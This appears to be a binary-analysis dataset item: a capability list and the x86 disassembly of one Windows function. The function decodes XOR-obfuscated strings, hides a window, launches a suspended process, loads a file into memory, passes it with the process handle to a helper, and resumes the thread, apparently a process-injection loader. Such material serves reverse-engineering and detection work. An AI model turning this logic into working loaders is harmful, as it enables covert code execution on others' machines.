Function at 0x4384e0
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Encode data using xor
Get file attributes
Hide graphical window
Resume thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x467028
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x180
mov eax, dword [0x47d040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dl, 0x21
mov dword [ebp - 0x18c], 0x6e7d0f21
mov dword [ebp - 0x188], 0x4e485551
xor ecx, ecx
mov dword [ebp - 0x184], 0x4f480f4f
mov word [ebp - 0x180], 0x48
nop dword [eax]
lea eax, [ebp - 0x18b]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xc
jae 0x438567
mov dl, byte [ebp - 0x18c]
jmp 0x438550
mov cl, 0x1f
mov byte [ebp - 0x178], 0x78
mov al, 0x2f
mov byte [ebp - 0x164], cl
xor al, cl
mov byte [ebp - 0x170], 5
mov byte [ebp - 0x163], al
mov cl, 0x20
mov al, 0x3c
mov byte [ebp - 0x162], 0
xor al, byte [ebp - 0x178]
mov dl, 0x2c
mov byte [ebp - 0x177], al
mov ah, 1
mov al, byte [ebp - 0x178]
mov ch, 8
xor cl, al
mov byte [ebp - 0x171], 0
xor dl, al
mov byte [ebp - 0x176], cl
xor ah, al
mov byte [ebp - 0x175], dl
xor ch, al
mov byte [ebp - 0x174], ah
mov dh, 0x1d
mov byte [ebp - 0x173], ch
xor dh, al
mov byte [ebp - 0x169], 0
mov al, 0x41
mov byte [ebp - 0x172], dh
xor al, byte [ebp - 0x170]
mov ah, 0x7c
mov byte [ebp - 0x16f], al
mov cl, 0x5d
mov al, byte [ebp - 0x170]
mov dl, 0x51
xor ah, al
mov byte [ebp - 0x17f], 0
xor cl, al
mov byte [ebp - 0x16c], ah
xor dl, al
mov byte [ebp - 0x162], 0
mov ch, 0x75
mov byte [ebp - 0x171], 0
xor ch, al
mov byte [ebp - 0x16e], cl
mov dh, 0x60
mov byte [ebp - 0x16d], dl
xor dh, al
mov byte [ebp - 0x16b], ch
lea eax, [ebp - 0x18b]
mov byte [ebp - 0x16a], dh
push eax
lea eax, [ebp - 0x163]
mov byte [ebp - 0x169], 0
push eax
lea eax, [ebp - 0x177]
push eax
lea eax, [ebp - 0x16f]
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0
push dword [0x485370]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x485370]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov byte [0x485453], 1
call fcn.00437500
mov dword [ebp - 0x164], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movaps xmm0, xmmword [0x475f90]
xor ecx, ecx
push eax
movups xmmword [ebp - 0x190], xmm0
mov dword [ebp - 0x180], 0x71303570
mov byte [ebp - 0x17c], 0
nop word [eax + eax]
mov al, byte [ebp - 0x190]
xor byte [ebp + ecx - 0x18f], al
inc ecx
cmp ecx, 0x13
jb 0x4386c0
sub esp, 0x18
mov byte [ebp - 0x17c], 0
mov edx, esp
lea ecx, [ebp - 0x18f]
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x438700
sub ecx, esi
lea eax, [ebp - 0x18f]
push ecx
push eax
mov ecx, edx
call fcn.00405360
lea eax, [ebp - 0x34]
push eax
call fcn.00430ee0
add esp, 0x20
lea ecx, [ebp - 0xa8]
mov dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push ecx
cmova eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x98]
push ecx
push 0
push 0
push 4
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x98], 0x44
push 0
push 0
push eax
push 0
movlpd qword [ebp - 0x94], xmm0
movlpd qword [ebp - 0x8c], xmm0
movlpd qword [ebp - 0x84], xmm0
movlpd qword [ebp - 0x7c], xmm0
movlpd qword [ebp - 0x74], xmm0
movlpd qword [ebp - 0x6c], xmm0
movlpd qword [ebp - 0x64], xmm0
movlpd qword [ebp - 0x5c], xmm0
movups xmmword [ebp - 0xa8], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4387dd
mov ecx, dword [ebp - 0x20]
cmp ecx, 0xf
jbe 0x4387d6
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4387cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x438c87
push ecx
push edx
call fcn.00440c00
add esp, 8
mov al, 0xf1
jmp 0x438c1c
cmp dword [ebp - 0xa0], 0
jne 0x438821
mov ecx, dword [ebp - 0x20]
cmp ecx, 0xf
jbe 0x43881a
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x438810
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x438c87
push ecx
push edx
call fcn.00440c00
add esp, 8
or al, 0xff
jmp 0x438c1c
mov esi, dword [ebp - 0xa8]
test esi, esi
jne 0x438866
mov ecx, dword [ebp - 0x20]
cmp ecx, 0xf
jbe 0x43885f
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x438855
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x438c87
push ecx
push edx
call fcn.00440c00
add esp, 8
mov al, 0xfe
jmp 0x438c1c
mov edi, dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea eax, [ebp - 0x1c]
push eax
push esi
mov dword [ebp - 0x1c], 0
call edi
test eax, eax
je 0x438be3
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x18]
jne 0x438be3
cmp dword [0x489224], 0xf
mov eax, 0x489210
cmova eax, dword [0x489210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x438903
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x20]
cmp ecx, 0xf
jbe 0x4388fc
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4388f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x438c87
push ecx
push edx
call fcn.00440c00
add esp, 8
mov al, 0xfc
jmp 0x438c1c
push 0xb8
lea eax, [ebp - 0x160]
push 0
push eax
call fcn.00443480
cmp dword [0x489224], 0xf
lea ecx, [ebp - 0x160]
mov eax, 0x489210
cmova eax, dword [0x489210]
add esp, 4
push 0x24
push eax
call fcn.0043ce00
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x154], 6
je 0x438a45
lea ecx, [ebp - 0x150]
call fcn.0043e8c0
test eax, eax
jne 0x43898d
mov eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x160]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00436420
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x164], eax
lea ecx, [ebp - 0x150]
call fcn.0043caa0
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x164], eax
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 2
push eax
mov dword [ebp - 0xf0], vtable.std::ios_base.0
call fcn.0044201e
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0xf
jbe 0x438a3e
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x438a34
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x438c87
push ecx
push edx
call fcn.00440c00
add esp, 8
mov al, 0xfb
jmp 0x438c1c
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x160]
call fcn.0043cfe0
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x44]
adc ecx, dword [ebp - 0x4c]
test ecx, ecx
jg 0x438b65
jl 0x438a75
cmp eax, 0x1000
jae 0x438b65
lea ecx, [ebp - 0x150]
call fcn.0043e8c0
test eax, eax
jne 0x438aad
mov eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x160]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00436420
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x164], eax
lea ecx, [ebp - 0x150]
call fcn.0043caa0
mov eax, dword [ebp - 0x160]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x164], eax
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 3
push eax
mov dword [ebp - 0xf0], vtable.std::ios_base.0
call fcn.0044201e
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0xf
jbe 0x438b5e
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x438b54
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x438c87
push ecx
push edx
call fcn.00440c00
add esp, 8
mov al, 0xfa
jmp 0x438c1c
push eax
call fcn.00440c0e
sub esp, 8
lea ecx, [ebp - 0x160]
mov edi, eax
call fcn.0043d0e0
mov edx, dword [ebp - 0x48]
add edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x44]
adc ecx, dword [ebp - 0x4c]
push ecx
push edx
push edi
lea ecx, [ebp - 0x160]
call fcn.0043d220
lea ecx, [ebp - 0x150]
call fcn.0043e8c0
test eax, eax
jne 0x438bcd
mov eax, dword [ebp - 0x160]
lea ecx, [ebp - 0x160]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00436420
sub esp, 0x1c
mov edx, edi
mov ecx, esi
call fcn.004350f0
add esp, 0x1c
push edi
test al, al
jne 0x438c50
jmp 0x438c3a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x20]
cmp ecx, 0xf
jbe 0x438c1a
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x438c10
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x438c87
push ecx
push edx
call fcn.00440c00
add esp, 8
mov al, 0xfd
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044096c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0044097a
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call fcn.00451183
call fcn.0044097a
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x164]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
call esi
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0xa4]
call esi
push 0
call fcn.00451183
call fcn.004498c1
int3